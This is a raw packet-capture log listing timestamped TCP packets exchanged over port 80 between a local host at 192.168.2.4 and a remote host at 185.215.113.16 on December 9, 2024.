Dec 9, 2024 20:27:48.521373034 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.521430969 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.521533012 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.522546053 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.522592068 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.522614002 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.522666931 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.523639917 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.523689985 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.523732901 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.523770094 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.524878025 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.524931908 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.524996996 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.525051117 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.525703907 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.525744915 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.661273956 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.661365986 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.661389112 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.661703110 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.661858082 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.661902905 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.661947966 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.662015915 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.662868977 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.662919044 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.662977934 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.663026094 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.664186954 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.664238930 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.664297104 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.664340973 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.665052891 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.665096998 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.665158033 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.665200949 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.666143894 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.666189909 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.666306973 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.666352034 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.667227030 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.667274952 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.667318106 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.667366982 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.668653011 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.668699026 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.668786049 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.668833017 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.669492006 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.669538021 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.669596910 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.669637918 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.670535088 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.670578957 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.670639992 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.670679092 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.671638966 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.671689034 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.671755075 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.671801090 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.672626019 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.672672987 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.672713995 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.672758102 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.673749924 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.673798084 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.673835039 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.673882961 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.674880028 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.674927950 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.674957991 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.674998999 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.675946951 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.675996065 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.675997972 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.676033974 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.676996946 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.677047014 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.677079916 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.677299976 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.678023100 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.678072929 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.678116083 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.678162098 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.679138899 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.679214954 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.679266930 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.679316044 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.680372000 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.680418968 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.680463076 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.680512905 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.681337118 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.681384087 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.681453943 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.681519985 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.682394028 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.682435989 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.682491064 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.682527065 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.683458090 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.683506966 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.683541059 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.683619022 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.684581995 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.684622049 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.684752941 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.684793949 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.685612917 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.685657024 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.685689926 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.685758114 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.686798096 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.686842918 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.686924934 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.686974049 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.687794924 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.687841892 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.687905073 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.687948942 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.688873053 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.688918114 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.689044952 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.689091921 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.690033913 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.690074921 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.690114975 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.690152884 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.691082954 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.691143990 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.691185951 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.691225052 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.692111015 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.692159891 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.692234993 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.692277908 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.693419933 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.693465948 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.693484068 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.693574905 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.694403887 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.694417000 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.694443941 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.694458961 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.695430994 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.695483923 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.695503950 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.695580959 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.696531057 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.696576118 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.696659088 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.696705103 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.697571039 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.697613001 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.697835922 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.697885036 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.698611021 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.698657990 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.698709965 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.698749065 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.699732065 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.699784040 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.699820042 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.699912071 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.700803041 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.700845003 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.700892925 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.700930119 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.701875925 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.701925993 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.701992035 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.702034950 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.702944040 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.703006983 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.703047991 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.703094006 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.704019070 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.704066992 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.704076052 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.704116106 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.705144882 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.705195904 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.705275059 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.705321074 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.706322908 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.706365108 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.706422091 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.706459999 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.707362890 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.707457066 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.707482100 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.707510948 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.708374977 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.708422899 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.708494902 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.708535910 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.709470987 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.709517002 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.709563971 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.709604979 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.710553885 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.710601091 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.710659981 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.710709095 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.711622000 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.711668015 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.711709976 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.711751938 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.712800026 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.712819099 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.712846994 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.712861061 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.713783979 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.713826895 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.713900089 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.713944912 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.714901924 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.714950085 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.714967966 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.715008020 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.715989113 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.716031075 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.716125011 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.716166019 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.717041016 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.717086077 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.717279911 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.717324972 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.718117952 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.718169928 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.853149891 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.853216887 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.853302002 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.853349924 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.853517056 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.853560925 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.853641033 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.853686094 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.854681969 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.854732037 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.854793072 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.854837894 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.855421066 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.855469942 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.855550051 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.855598927 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.856524944 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.856575012 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.856676102 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.856724024 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.857590914 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.857642889 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.857899904 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.857949018 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.858681917 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.858731985 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.858776093 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.858875990 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.859745026 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.859792948 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.859798908 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.859844923 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.860836983 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.860882998 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.860913992 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.860950947 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.861949921 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.862004042 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.862076044 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.862121105 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.862999916 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.863048077 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.863100052 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.863143921 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.864103079 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.864150047 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.864204884 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.864248037 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.865252018 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.865273952 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.865300894 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.865312099 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.866214037 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.866266012 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.866511106 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.866558075 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.867328882 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.867376089 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.867435932 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.867485046 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.868405104 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.868447065 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.868814945 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.868859053 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.869544029 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.869590044 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.869615078 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.869703054 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.870558023 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.870605946 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.870650053 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.870691061 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.871651888 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.871697903 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.871764898 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.871805906 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.872735023 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.872781992 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.872833014 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.872870922 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.873917103 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.873984098 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.874032974 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.874074936 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.875010014 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.875053883 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.875092983 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.875130892 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.876096010 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.876147032 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.876220942 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.876266956 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.877094984 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.877144098 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.877206087 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.877271891 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.878139019 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.878206015 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.878262043 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.879291058 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.879358053 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.879406929 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.880352974 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.880470991 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.880518913 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.881428003 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.881485939 CET	80	49766	185.215.113.16	192.168.2.4
Dec 9, 2024 20:27:48.881489992 CET	49766	80	192.168.2.4	185.215.113.16
Dec 9, 2024 20:27:48.882514000 CET	80	49766	185.215.113.16	192.168.2.4
